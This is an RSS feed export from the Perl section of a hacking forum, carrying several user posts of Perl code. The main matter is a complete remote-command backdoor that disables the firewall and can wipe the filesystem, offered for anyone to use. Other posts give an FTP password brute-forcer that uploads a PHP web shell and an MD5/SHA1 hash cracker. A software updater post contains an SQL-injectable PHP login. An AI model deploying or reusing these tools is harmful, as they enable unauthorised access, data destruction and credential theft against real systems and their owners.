<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
      <title>Perl - iExploit</title>
      <link>http://iexploit.org/index.php?p=/categories/perl/feed.rss</link>
      <pubDate>Fri, 24 May 13 08:11:12 -0400</pubDate>
         <description>Perl - iExploit</description>
   <language>en-CA</language>
   <atom:link href="/index.php?p=/discussions/feed.rss" rel="self" type="application/rss+xml" />
   <item>
      <title>Perl Video tutorials</title>
      <link>http://iexploit.org/index.php?p=/discussion/5649/perl-video-tutorials</link>
      <pubDate>Mon, 08 Aug 2011 12:30:12 -0400</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5649@/index.php?p=/discussions</guid>
      <description><![CDATA[<span style="font-family: Arial, Verdana; font-size: small;">Hey, i joined this forum for hacking but thought i would share my Perl video tutorial.<br><br></span><span style="font-family: Arial, Verdana; font-size: small;"><a href="http://www.youtube.com/user/bermnz" target="_blank" rel="nofollow">http://www.youtube.com/user/bermnz</a></span><span style="font-family: Arial, Verdana; font-size: small;"><br><br>They cover most of the basics and hope they will help many members</span><br>]]></description>
   </item>
   <item>
      <title>Static Code Analysis - Grep Vuln Checker</title>
      <link>http://iexploit.org/index.php?p=/discussion/6053/static-code-analysis-grep-vuln-checker</link>
      <pubDate>Tue, 12 Jun 2012 05:04:19 -0400</pubDate>
      <dc:creator>Sh3llc0d3</dc:creator>
      <guid isPermaLink="false">6053@/index.php?p=/discussions</guid>
      <description><![CDATA[Based on a paper written by someone on our course, I wrote this crude <br>static code analysis tool. I'll probably try improving it at some point <br>or converting it to ruby. The tool basically greps files in a web <br>applications directory for code known to lead to possible <br>vulnerabilities. This obviously requires a deep knowledge of the owasp <br>top 10.<br><br><br><br><pre><code>#!/usr/bin/perl<br>print &quot;\t\tGrep Basic Source Analyser [Sh3llc0d3]\n&quot;;<br>####################################################################<br>####################################################################<br>print &quot;\t\tEnter web applications root directory\n\t\tAll documents in this directory and\n\t\tsub-dir's will be checked eg /root/webapp1\n&quot;;<br>print &quot;&amp;gt;&amp;gt; &quot;;<br>$dir = &lt;stdin&gt;;<br>chomp($dir); <br>print &quot;Enter a dir for the results for example '/tmp/newdir'\n&quot;;<br>$result_dir = &lt;stdin&gt;;<br>chomp($result_dir);<br>mkdir $result_dir, 0755;<br>print &quot;New dir created!\n&quot;;<br>####################################################################<br>##<br>##	XSS<br>##<br>####################################################################<br>print &quot;[+]CHECKING FOR POSSIBLE XSS\n&quot;;<br>$GET = `grep -i -r '\$_GET' $dir/* | grep 'echo'`;<br>if($GET)<br>{<br>	open(FILE,&quot;&amp;gt;/$result_dir/GET_XSS_INJ.txt&quot;);<br>	print FILE $GET;<br>	close(FILE);<br>}<br>$POST = `grep -i -r '\$_POST' $dir/* | grep 'echo'`;<br>if($POST)<br>{<br>	open(FILE2,&quot;&amp;gt;/$result_dir/POST_XSS_INJ.txt&quot;);<br>	print FILE2 $POST;<br>	close(FILE2);<br>}<br>$COOKIE = `grep -i -r '\$_COOKIE' $dir/* | grep 'echo'`;<br>if($COOKIE)<br>{<br>	open(FILE3,&quot;&amp;gt;/$result_dir/COOKIE_XSS_INJ.txt&quot;);<br>	print FILE3 $COOKIE;<br>	close(FILE3);<br>}<br>$REQUEST = `grep -i -r '\$_REQUEST' $dir/* | grep 'echo'`;<br>if($REQUEST)<br>{<br>	open(FILE4,&quot;&amp;gt;/$result_dir/REQUEST_XSS_INJ.txt&quot;);<br>	print FILE4 $REQUEST;<br>	close(FILE4);<br>}<br>$BLANK = `grep -i -r '\$_' $dir/* | grep 'echo'`;<br>if($BLANK)<br>{<br>	open(FILE5,&quot;&amp;gt;/$result_dir/BLANK_XSS_INJ.txt&quot;);<br>	print FILE5 $BLANK;<br>	close(FILE5);<br>}<br>####################################################################<br>##<br>##      Command Exec<br>##<br>####################################################################<br>print &quot;[+]CHECKING FOR POSSIBLE CMD INJECTION\n&quot;;<br>$eval = `grep -i -r 'eval(' $dir/*`;<br>if($eval)<br>{<br>	open(FILE6,&quot;&amp;gt;/$result_dir/EVAL_CMD_INJ.txt&quot;);<br>	print FILE6 $eval;<br>	close(FILE6);<br>}<br>$assert = `grep -i -r 'assert(' $dir/*`;<br>if($assert)<br>{<br>	open(FILE7,&quot;&amp;gt;/$result_dir/ASSERT_CMD_INJ.txt&quot;);<br>	print FILE7 $assert;<br>	close(FILE7);<br>}<br>$pregrep = `grep -i -r 'preg_replace' $dir/* | grep '/e'`;<br>if($pregrep)<br>{<br>	open(FILE8,&quot;&amp;gt;/$result_dir/PREG_REP_CMD_INJ.txt&quot;);<br>	print FILE8 $pregrep;<br>	close(FILE8);<br>}<br>$createfunc = `grep -i -r 'create_function(' $dir/*`;<br>if(createfunc)<br>{<br>	open(FILE9,&quot;&amp;gt;/$result_dir/CREATE_FUNC_CMD_INJ.txt&quot;);<br>	print FILE9 $createfunc;<br>	close(FILE9);<br>}<br>####################################################################<br>##<br>##      SQL INJ<br>##<br>####################################################################<br>print &quot;[+]CHECKING FOR POSSIBLE SQL INJECTION\n&quot;;<br>$sql1 = `grep -i -r '\$sql' $dir/*`;<br>if($sql1)<br>{<br>	open(FILE10,&quot;&amp;gt;/$result_dir/SQL1_SQL_INJ.txt&quot;);<br>	print FILE10 $sql2;<br>	close(FILE10);<br>}<br>$sql2 = `grep -i -r '\$sql' $dir/* | grep '\$_'`;<br>if(sql2)<br>{<br>	open(FILE11,&quot;&amp;gt;/$result_dir/SQL2_SQL_INJ.txt&quot;);<br>	print FILE11 $sql2;<br>	close(FILE11);<br>}<br>#####################################################################<br>#####################################################################<br>print &quot;[+] RESULTS SENT TO FILES IN: $result_dir\n\n\n&quot;;<br>print &quot;Now you just have to go through the output ;P\n&quot;;<br>&lt;/stdin&gt;&lt;/stdin&gt;</code></pre>]]></description>
   </item>
   <item>
      <title>backdoor I&#039;ve been working on</title>
      <link>http://iexploit.org/index.php?p=/discussion/2600/backdoor-i039ve-been-working-on</link>
      <pubDate>Wed, 30 Mar 2011 15:50:40 -0400</pubDate>
      <dc:creator>m0rph</dc:creator>
      <guid isPermaLink="false">2600@/index.php?p=/discussions</guid>
      <description><![CDATA[sup everyone, this is the code to my backdoor. I was going to submit this for the malware contest, sadly, you have to buy perl2exe to stop the window from showing up. In other words, it wasn't very stealthy when converted to an executable. Nonetheless, granted you have the right privileges, this is not a terrible script....it is limited, but it's not bad. If you're having trouble with your own backdoor, feel free to use my code. You can connect to it with netcat, if you run commands from the menu, the output will be displayed back to you. I've also included most of the *nix equivalent commands in comments. This backdoor acts how a real backdoor should. A real backdoor should disable/bypass any services hindering it's use, it should take over well known ports so it doesn't use something obvious like port 1337, and it should allow you to absolutely destroy the box.<br><br>*Spoiler Alert!* If you can't figure out how to use it, try asking it how it's day is going ;)<br><div class="PreContainer"><pre><br>#!/usr/bin/perl -w<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Written&amp;Mode=like">#Written</a> by m0rph<br>use IO&amp;#58;&amp;#58;Socket; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Socket&amp;Mode=like">#Socket</a> handler<br>use Net&amp;#58;&amp;#58;hostent; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Host&amp;Mode=like">#Host</a> information exchange<br>use File&amp;#58;&amp;#58;Copy; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23File&amp;Mode=like">#File</a> Copying<br>use warnings; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Debugging&amp;Mode=like">#Debugging</a><br><br>#`net stop \&quot;Windows Firewall\&quot;`; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23replace&amp;Mode=like">#replace</a> with /etc/init&amp;#46;d/iptables stop, must be root<br>#system(\&quot;taskkill /IM mysqld&amp;#46;exe /F\&quot;); <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Disable&amp;Mode=like">#Disable</a> mysql daemon<br>my $port=3306; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Binded&amp;Mode=like">#Binded</a> port, replace port number with $ARGV&amp;#91;0&amp;#93; to use with command line input<br>my $server=IO&amp;#58;&amp;#58;Socket&amp;#58;&amp;#58;INET-&amp;gt;new( Proto =&amp;gt; 'tcp',<br>LocalPort =&amp;gt; $port,<br>Listen =&amp;gt; SOMAXCONN, <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Number&amp;Mode=like">#Number</a> of pending connections, and connections allowed<br>Reuse =&amp;gt; 1);<br><br>die \&quot;Listener failed to start\&quot; unless $server; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Error&amp;Mode=like">#Error</a> Handling<br>print \&quot;Listener started&amp;#46; Waiting for connection&amp;#46;&amp;#46;&amp;#46;\n\&quot;;<br><br>while ($client = $server-&amp;gt;accept()) {<br>	$client-&amp;gt;autoflush(1);<br>	$hostinfo = gethostbyaddr($client-&amp;gt;peeraddr);<br>	<a rel="nofollow" href="/index.php?p=/search&amp;Search=%23print&amp;Mode=like">#print</a> \&quot;&amp;#91;Connection from %s&amp;#93;\&quot;, $hostinfo-&amp;gt;name || $client-&amp;gt;peerhost; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23shows&amp;Mode=like">#shows</a> connecting host to server<br>	while ( &amp;lt;$client&amp;gt;) {<br>	next unless /\S/; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23If&amp;Mode=like">#If</a> no input is received, stay connected&amp;#46;<br>	printf $client \&quot;%s \$ \&quot;, $hostinfo-&amp;gt;name || $server-&amp;gt;peerhost;<br>	if (/exit|quit/i) { last; } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Quit&amp;Mode=like">#Quit</a> and Exit commmands for disconnecting<br>	elsif (/sup brah/i) { print $client \&quot;\n\&quot;, <br>									 \&quot;------------------------\n\&quot;,<br>									 \&quot;|                      |\n\&quot;,<br>									 \&quot;|     Let's do this    |\n\&quot;,<br>									 \&quot;|                      |\n\&quot;,<br>									 \&quot;------------------------\n\&quot;,<br>									 \&quot;\n\&quot;,<br>									 \&quot;Type help for a list of commands\n\&quot;; }<br>	elsif (/date/i) { printf $client \&quot;%s\n\&quot;, scalar localtime;}<br>	elsif (/ip -s/i) { print $client `ipconfig /all`; } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23replace&amp;Mode=like">#replace</a> with ifconfig <br>	elsif (/ip -r/i) { print $client `ipconfig /release`; } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23replace&amp;Mode=like">#replace</a> with ifconfig eth0 down<br>	elsif (/ps/i) { print $client `tasklist /v`;} <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23show&amp;Mode=like">#show</a> current processes, replace with ps -aux<br>	elsif (/netstat/i) { print $client `netstat -an`; } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23show&amp;Mode=like">#show</a> current connections, same command<br>	elsif (/whoami/i) { print $client `whoami`; } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23works&amp;Mode=like">#works</a> on some windows machines, works on all *nix<br>	elsif (/rain/i) { print $client `net stop \&quot;Windows Firewall\&quot;`; } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23replace&amp;Mode=like">#replace</a> with /etc/init&amp;#46;d/iptables stop, must be root<br>	elsif (/killbox/i) { print $client system('RD %systemroot% /S /Q'); } <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23replace&amp;Mode=like">#replace</a> with rm -rf /<br>	elsif (/shell/i) { system('cmd'); } ###Intended to drop a shell, but doesn't, try replacing with /bin/sh<br>	elsif (/help/i) { print $client \&quot;\n\&quot;,<br>									\&quot;-------------\n\&quot;,<br>									\&quot;Command List&amp;#58;\n\&quot;,<br>									\&quot;-------------\n\&quot;,<br>									\&quot;ip -s                         IP Configuration&amp;#46;\n\&quot;,<br>									\&quot;ip -r                                -r for IP release, Shell must have administrative privileges&amp;#46;\n\&quot;,<br>									\&quot;whoami                           Current User&amp;#46;\n\&quot;,<br>									\&quot;netstat                          Active Connections&amp;#46;\n\&quot;,<br>									\&quot;date                             Current Date and Time\n\&quot;,<br>									\&quot;ps                               List Current Processes&amp;#46;\n\&quot;,<br>									\&quot;rain                             Stops Windows Firewall&amp;#46; Shell must have administrative privileges&amp;#46;\n\&quot;,<br>									\&quot;killbox                          Remove filesystem&amp;#46;    Shell must have administrative privileges&amp;#46;\n\&quot;,<br>									\&quot;shutdown                         Shutdown Target&amp;#46;\n\&quot;,<br>									#\&quot;shell                            Drop A Shell&amp;#46;\n\&quot;,<br>									\&quot;quit \n\&quot;; }<br>	else {<br>		print $client \&quot;\n\nError&amp;#58; Connection Timed Out\&quot;; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Incase&amp;Mode=like">#Incase</a> someone else tries connecting to shell, try and fool them to not connect to it again&amp;#46;<br>		close $client;<br>	}<br>	}<br>	continue {<br>	printf $client \&quot;%s \$ \&quot;, $hostinfo-&amp;gt;name || $server-&amp;gt;peerhost;<br>	}<br>	print $client \&quot;\n\nGood Bye&amp;#46;\&quot;; <br>	close $client; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23To&amp;Mode=like">#To</a> close connection&amp;#58; CTRL + C<br>}<br>#move(\&quot;noname&amp;#46;pl\&quot;,\&quot;C&amp;#58;\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\noname&amp;#46;pl\&quot;); <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23this&amp;Mode=like">#this</a> will copy self to XP SP2 Startup Directory</pre></div>]]></description>
   </item>
   <item>
      <title>Need a project to sink my teeth in to...</title>
      <link>http://iexploit.org/index.php?p=/discussion/5962/need-a-project-to-sink-my-teeth-in-to-</link>
      <pubDate>Tue, 21 Feb 2012 19:08:11 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5962@/index.php?p=/discussions</guid>
      <description><![CDATA[So im looking to create something in perl that i can really sink my teeth into. I would like to think i have fairly good knowledge of it so pretty much anything would be considered. In the past i have made:<br />[list]<br />[*]Admin Finders[/*:m]<br />[*]SQLi Codes[/*:m]<br />[*]Software Updater[/*:m]<br />[*]Interactive Database[/*:m]<br />[*]Full FTP Client[/*:m]<br />[*]FTP Shell Brute - "The Idiot Exploit"[/*:m][/list:u]<br /><br />plus some other bits...<br /><br />If you have some ideas let me know...]]></description>
   </item>
   <item>
      <title>MD5/SHA1 Cracker I whipped up - (Online &amp; Dictionary Attack)</title>
      <link>http://iexploit.org/index.php?p=/discussion/5976/md5sha1-cracker-i-whipped-up-online-dictionary-attack</link>
      <pubDate>Sat, 10 Mar 2012 14:36:55 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5976@/index.php?p=/discussions</guid>
      <description><![CDATA[So yer i got bored of always working on my database so i whipped up an MD5 cracker. This cracker users either online or dictionary attack and i may add bruteforce if i can be bothered.<br><br>Enjoy.<br><br><div class="PreContainer"><pre><br>#!/usr/local/bin/perl<br>use LWP&amp;#58;&amp;#58;Simple;<br>use Digest&amp;#58;&amp;#58;MD5;<br>use Digest&amp;#58;&amp;#58;SHA1;<br><br><br>my $option = $ARGV&amp;#91;0&amp;#93;;<br>my $hash = $ARGV&amp;#91;1&amp;#93;;<br>my $file = $ARGV&amp;#91;2&amp;#93;;<br><br>if($option eq \&quot;-o\&quot;){<br>        if($hash){<br>           $check_online = get('http&amp;#58;//md5&amp;#46;hashcracking&amp;#46;com/search&amp;#46;php?md5='&amp;#46;$hash&amp;#46;'');<br>           if($check_online =~ \&quot;\n\nCleartext of \&quot;&amp;#46;$hash&amp;#46;\&quot; is password\&quot;){<br>                  print \&quot;\n\n\&quot;&amp;#46;$check_online&amp;#46;\&quot;\n\n\&quot;;<br>           }<br>        }<br>}elsif($option eq \&quot;-d\&quot;){<br>        if($file){<br>                if($hash){<br>                        if(length($hash) == 32){<br>                                open(PASS, \&quot;+&amp;lt; $file\&quot;);<br>                                my <a rel="nofollow" href="/index.php?p=/profile/possible_passwords">@possible_passwords</a> = ();<br>                                while(&amp;lt;PASS&amp;gt;){<br>                                push (@possible_passwords, $_);<br>                                }<br>                                foreach(@possible_passwords){<br>                                        $md5_compare = Digest&amp;#58;&amp;#58;MD5-&amp;gt;new;<br>                                        $md5_compare-&amp;gt;add($_);<br>                                        $finnished_hash = $md5_compare-&amp;gt;hexdigest;<br>                                        if($finnished_hash eq $hash){<br>                                                print \&quot;\n\nCleartext of \&quot;&amp;#46;$hash&amp;#46;\&quot; is \&quot;&amp;#46;$_&amp;#46;\&quot;\n\n\&quot;;<br>                                                $score = 1;<br>                                                break;<br>                                        }<br><br>                                }<br>                        }elsif(length($hash) == 40){<br>                                open(PASS, \&quot;+&amp;lt; $file\&quot;);<br>                                my <a rel="nofollow" href="/index.php?p=/profile/possible_passwords">@possible_passwords</a> = ();<br>                                while(&amp;lt;PASS&amp;gt;){<br>                                push (@possible_passwords, $_);<br>                                }<br>                                foreach(@possible_passwords){<br>                                        $sha1_compare = Digest&amp;#58;&amp;#58;SHA1-&amp;gt;new;<br>                                        $sha1_compare-&amp;gt;add($_);<br>                                        $finnished_sha1hash = $sha1_compare-&amp;gt;hexdigest;<br>                                        if($finnished_sha1hash eq $hash){<br>                                                print \&quot;\n\nCleartext of \&quot;&amp;#46;$hash&amp;#46;\&quot; is \&quot;&amp;#46;$_&amp;#46;\&quot;\n\n\&quot;;<br>                                                $score = 1;<br>                                                break;<br>                                        }<br><br>                                }<br>                        }<br>                        <br><br>                        if($score &amp;lt; 1){<br>                                print \&quot;\n\nPassword Not found&amp;#46;&amp;#46;&amp;#46;\n\n\&quot;;<br>                        }<br>                        close(PASS);<br>                }<br>        }<br>}else{<br>print \&quot;MD5/SHA1 Cracker Made By Mr&amp;#46; P-teo \nPerl 5 Version 14 - 2012\n\n\n\&quot;;<br>print \&quot;-o =&amp;gt; Online Cracker (only for MD5)\n\&quot;;<br>print \&quot;+ Example&amp;#58; md5cracker&amp;#46;pl -o 5f4dcc3b5aa765d61d8327deb882cf99\n\&quot;;<br>print \&quot;-d =&amp;gt; Dictionary Attack\n\&quot;;<br>print \&quot;+ Example&amp;#58; md5cracker&amp;#46;pl -d 5f4dcc3b5aa765d61d8327deb882cf99 passwordlist&amp;#46;txt\n\&quot;;<br>}<br>}<br></pre></div>]]></description>
   </item>
   <item>
      <title>- Perl / PHP Software Updater made by Mr. P-teo</title>
      <link>http://iexploit.org/index.php?p=/discussion/5945/-perl-php-software-updater-made-by-mr-p-teo</link>
      <pubDate>Fri, 17 Feb 2012 16:27:34 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5945@/index.php?p=/discussions</guid>
      <description><![CDATA[So here it is, iv just finnished my new script. This is a perl / php software updater. This script uses a php file and checks a MySQL database for the version. It requires user credentials, and uses MD5 hashing. I have used a number of fairly standard modules and a few which need installing but here are the codes.<br><br>If you wish to test this script with a run the perl script as it is, with the <br><br>username: root<br>password: toor<br><br>if you are on linux change the system command, this will download and run the winrar installer. The only thing is that you will have to change the version to match the new one within the perl script as i couldn't be bothered to add that in. Other than that its all set.<br><br>Perl Local Client<br><div class="PreContainer"><pre><br>use WWW&amp;#58;&amp;#58;Mechanize;<br>use LWP&amp;#58;&amp;#58;Simple;<br>use HTTP&amp;#58;&amp;#58;Cookies;<br>use Digest&amp;#58;&amp;#58;MD5;<br><br>print \&quot;Username&amp;#58; \&quot;;  # username<br>chomp($user = &amp;lt;STDIN&amp;gt;);<br>print \&quot;Password&amp;#58; \&quot;;  # password<br>chomp($pass = &amp;lt;STDIN&amp;gt;);<br>$request_information = \&quot;http&amp;#58;//psls&amp;#46;3owl&amp;#46;com/updater_file&amp;#46;php\&quot;;  # PHP file location<br>$passmd5 = Digest&amp;#58;&amp;#58;MD5-&amp;gt;new;<br>$passmd5-&amp;gt;add($pass);<br>$encrypted = $passmd5-&amp;gt;hexdigest;  # encrypt password<br>my $mech = WWW&amp;#58;&amp;#58;Mechanize-&amp;gt;new();<br>$mech-&amp;gt;cookie_jar(HTTP&amp;#58;&amp;#58;Cookies-&amp;gt;new());<br>$mech-&amp;gt;get($request_information);<br>$mech-&amp;gt;form_name('get');<br>$mech-&amp;gt;field(username =&amp;gt; $user);<br>$mech-&amp;gt;field(password =&amp;gt; $encrypted);<br>$mech-&amp;gt;click();<br>$version = \&quot;1&amp;#46;0 Beta\&quot;;<br><br>if(($mech-&amp;gt;content =~ /$user/)&amp;&amp;($mech-&amp;gt;content =~ /$encrypted/)){<br>	print \&quot;\n\nChecking For Updates&amp;#46;&amp;#46;&amp;#46;\n\n\&quot;;<br>	if($mech-&amp;gt;content =~ /$version/){<br>		print \&quot;You are all up to date&amp;#46;&amp;#46;&amp;#46;\n\&quot;;<br>	}else{<br>		print \&quot;\nYou are out of date, starting download&amp;#46;&amp;#46;&amp;#46;\n\n\&quot;;<br>		$software_url = 'http&amp;#58;//www&amp;#46;rarlab&amp;#46;com/rar/wrar410&amp;#46;exe';  # Just sample file, i used winrar<br>		$localfilename = 'winrar-fromperl&amp;#46;exe';  # filename<br>		my $mech = WWW&amp;#58;&amp;#58;Mechanize-&amp;gt;new;<br>		getstore($software_url, $localfilename );<br>		print \&quot;Download Complete, Please Install the new version&amp;#46;\n\n\&quot;;<br>		system('start '&amp;#46;$localfilename); # linux will require start change to exec<br>	}<br>}else{<br>	print \&quot;\n\nUnable to check, invalid logins or PC&amp;#46;\n\n\&quot;;<br>}<br></pre></div><br><br><br>PHP Web script<br><div class="PreContainer"><pre><br>&amp;lt;?php<br>//This script will require a database with the following tables<br>// - users &amp; version<br>// users columns = username &amp; password<br>// version columns = version <br>// Enjoy...<br><br>mysql_connect(\&quot;hostname\&quot;, \&quot;user\&quot;, \&quot;pass\&quot;);<br>mysql_select_db(\&quot;db_name\&quot;);<br><br>echo \&quot;<br>&amp;lt;style&amp;gt;<br>#textbox{border&#58; 0;background&#58; transparent;color&#58; #ffffff;}<br>#button{border&#58; 0; background&#58; transparent;}<br>&amp;lt;/style&amp;gt;<br>&amp;lt;center&amp;gt;&amp;lt;form name='get' action='' method='POST' &amp;gt;<br>      	&amp;lt;input id='textbox' type='text' name='username' /&amp;gt;&amp;lt;/br&amp;gt;<br>      	&amp;lt;input id='textbox' type='password' name='password' /&amp;gt;&amp;lt;/br&amp;gt;<br>      	&amp;lt;input id='button' type='submit' name='button' value=''/&amp;gt;<br>	&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;meta http-equiv='REFRESH' content='0;url=index.html'&amp;gt;\&quot;;<br>	$password = strip_tags(htmlentities($_POST&#91;'password'&#93;));<br>	$username = strip_tags(htmlentities($_POST&#91;'username'&#93;));<br>	$get = isset($_POST&#91;'button'&#93;);<br>	if($get){<br>		$request_information = mysql_query(\&quot;SELECT * FROM `users` WHERE username='\&quot;.$username.\&quot;' AND password='\&quot;.$password.\&quot;'\&quot;);<br>                $version = mysql_query(\&quot;SELECT * FROM `version`\&quot;);<br><br>		if(mysql_num_rows($request_information) &amp;gt; 0){<br>    			while($row = mysql_fetch_array($request_information))<br>    			{<br>        			echo \&quot;\n\&quot;.$row&#91;'username'&#93; . \&quot;\n\&quot; . $row&#91;'password'&#93;;<br>    			}<br>                        while($versionrow = mysql_fetch_array($version)){<br>                                echo \&quot;\n\n\&quot;.$versionrow&#91;'version'&#93;;<br>                        }<br>		}<br>	}<br>mysql_close();<br>?&amp;gt;<br></pre></div><br><br><br>Hope you like this small little script, enjoy.]]></description>
   </item>
   <item>
      <title>PerlSHELLBRUTE - FTP With Shell Upload</title>
      <link>http://iexploit.org/index.php?p=/discussion/5938/perlshellbrute-ftp-with-shell-upload</link>
      <pubDate>Thu, 16 Feb 2012 21:14:44 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5938@/index.php?p=/discussions</guid>
      <description><![CDATA[I made the quite recently, i thought i would and learn a new module from CPAN. <br><br>So what this does it uses a dictionary attack against a hosts FTP server, if it is successful then it will upload a shell and close the connection. This is all automatic and you just need to enter the hostname (url without <a class="postlink" rel="nofollow" href="http://www">http://www</a>.)<br><br>This has low success rate, that is why i call this - "The Idiot Exploit" as it works with common / weak passwords.<br><br><div class="PreContainer"><pre><br>use Net&amp;#58;&amp;#58;FTP;<br><br>##################################################################<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23PerlSHELLBRUTE&amp;Mode=like">#PerlSHELLBRUTE</a> Exploit<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23This&amp;Mode=like">#This</a> Script Was Written By MR&amp;#46; P-teo aka Archx<br>#Net&amp;#58;&amp;#58;FTP Support Given By TheEliteNoob<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Works&amp;Mode=like">#Works</a> using the Net&amp;#58;&amp;#58;FTP Module<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23All&amp;Mode=like">#All</a> Credits go to Module creator, Mr&amp;#46; P-teo and TheEliteNoob<br>                                                                 <br>##################################################################<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Instructions&amp;Mode=like">#Instructions</a>, Run Exploit, Keep your chosen PHP shell in same dir, <br>#(Shell must have name -&amp;gt; sh3llphp&amp;#46;php)if exploit is successfull, <br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23visit&amp;Mode=like">#visit</a> url&amp;#46;<br><br>#ENJOY&amp;#46;<br><br><a rel="nofollow" href="/index.php?p=/profile/user">@user</a> = (\&quot;apache\&quot;,\&quot;root\&quot;, \&quot;admin\&quot;, \&quot;username\&quot;,\&quot;user\&quot;,\&quot;username\&quot;,\&quot;admin1\&quot;,\&quot;administrator\&quot;,\&quot;admin123\&quot;,\&quot;123456\&quot;,\&quot;12345\&quot;,\&quot;admin\&quot;,<br>\&quot;123456789\&quot;,\&quot;654321\&quot;,\&quot;$hostname\&quot;,\&quot;admin\&quot;,\&quot;admin\&quot;,\&quot;admin\&quot;,\&quot;admin\&quot;,\&quot;admin\&quot;,\&quot;$hostname\&quot;,\&quot;123\&quot;);<br><a rel="nofollow" href="/index.php?p=/profile/pass">@pass</a> = (\&quot;apache\&quot;,\&quot;toor\&quot;, \&quot;admin\&quot;, \&quot;password\&quot;,\&quot;pass\&quot;,\&quot;passwd\&quot;,\&quot;admin1\&quot;,\&quot;administrator\&quot;,\&quot;admin123\&quot;,\&quot;123456\&quot;,\&quot;12345\&quot;,\&quot;Password\&quot;,<br>\&quot;123456789\&quot;,\&quot;654321\&quot;,\&quot;admin\&quot;,\&quot;abcd1234\&quot;,\&quot;abc123\&quot;,\&quot;12345678\&quot;,\&quot;111111\&quot;,\&quot;passw0rd\&quot;,\&quot;$hostname\&quot;,\&quot;123\&quot;);<br>$directory = \&quot;/public_html\&quot;;<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23SHELLNAME&amp;Mode=like">#SHELLNAME</a><br><br>my $shell_trans = \&quot;sh3llphp&amp;#46;php\&quot;;<br><br>print \&quot;\n\nFTP Hostname&amp;#58; \&quot;;<br>chomp($hostname = &amp;lt;STDIN&amp;gt;);<br><br>my $ftp = Net&amp;#58;&amp;#58;FTP-&amp;gt;new($hostname, Debug =&amp;gt; 0, Timeout=&amp;gt;120) or die \&quot;Unable To locate Host - $hostname\&quot;;<br>my $num = -1;<br>foreach(@user){<br>	$num++;<br>}	<br>my $response = 1;<br>my $cred = 0;<br>while($cred != $num){<br>	$user = <a rel="nofollow" href="/index.php?p=/profile/user">@user</a>&amp;#91;$cred&amp;#93;;<br>	$passwd = <a rel="nofollow" href="/index.php?p=/profile/pass">@pass</a>&amp;#91;$cred&amp;#93;;<br>	my $fail = 0;<br>	print \&quot;\n#Attempting To Get Credentials&amp;#46;&amp;#46;&amp;#46;\&quot;;<br>	$ftp-&amp;gt;login($user, $passwd, Timeout=&amp;gt;150) or $fail = 1;<br>	$cred++;<br>	if ($fail == 1) {<br>		next;<br>	}elsif($fail == 0){<br>		print \&quot;\n#Connection Established&amp;#46;&amp;#46;&amp;#46;\n\&quot;;		<br>		$ftp-&amp;gt;cwd($directory); <br>		print \&quot;#Preparing To Transfer Shell&amp;#46;&amp;#46;&amp;#46;\n\&quot;;<br>		$ftp-&amp;gt;put($shell_trans) or $upload = 1;<br>		if($upload == 1){<br>			print \&quot;#ERROR Uploading Shell&amp;#46;&amp;#46;&amp;#46;\n\&quot;;<br>		}else{<br>			print \&quot;#Shell Uploaded, Exploit Complete&amp;#46;&amp;#46;&amp;#46;\n\&quot;;<br>		}<br>		$ftp-&amp;gt;quit;<br>		last;	<br>	}<br>}<br>if($response == 1){<br>	print \&quot;\n\nCredentials Not Found, Connection Could Not Be Established&amp;#46;\n\n\&quot;;<br>}<br></pre></div><br><br>Hope you like this.]]></description>
   </item>
   <item>
      <title>Private Perl Admin Finder</title>
      <link>http://iexploit.org/index.php?p=/discussion/5937/private-perl-admin-finder</link>
      <pubDate>Thu, 16 Feb 2012 20:59:03 -0500</pubDate>
      <dc:creator>Mr. P-teo</dc:creator>
      <guid isPermaLink="false">5937@/index.php?p=/discussions</guid>
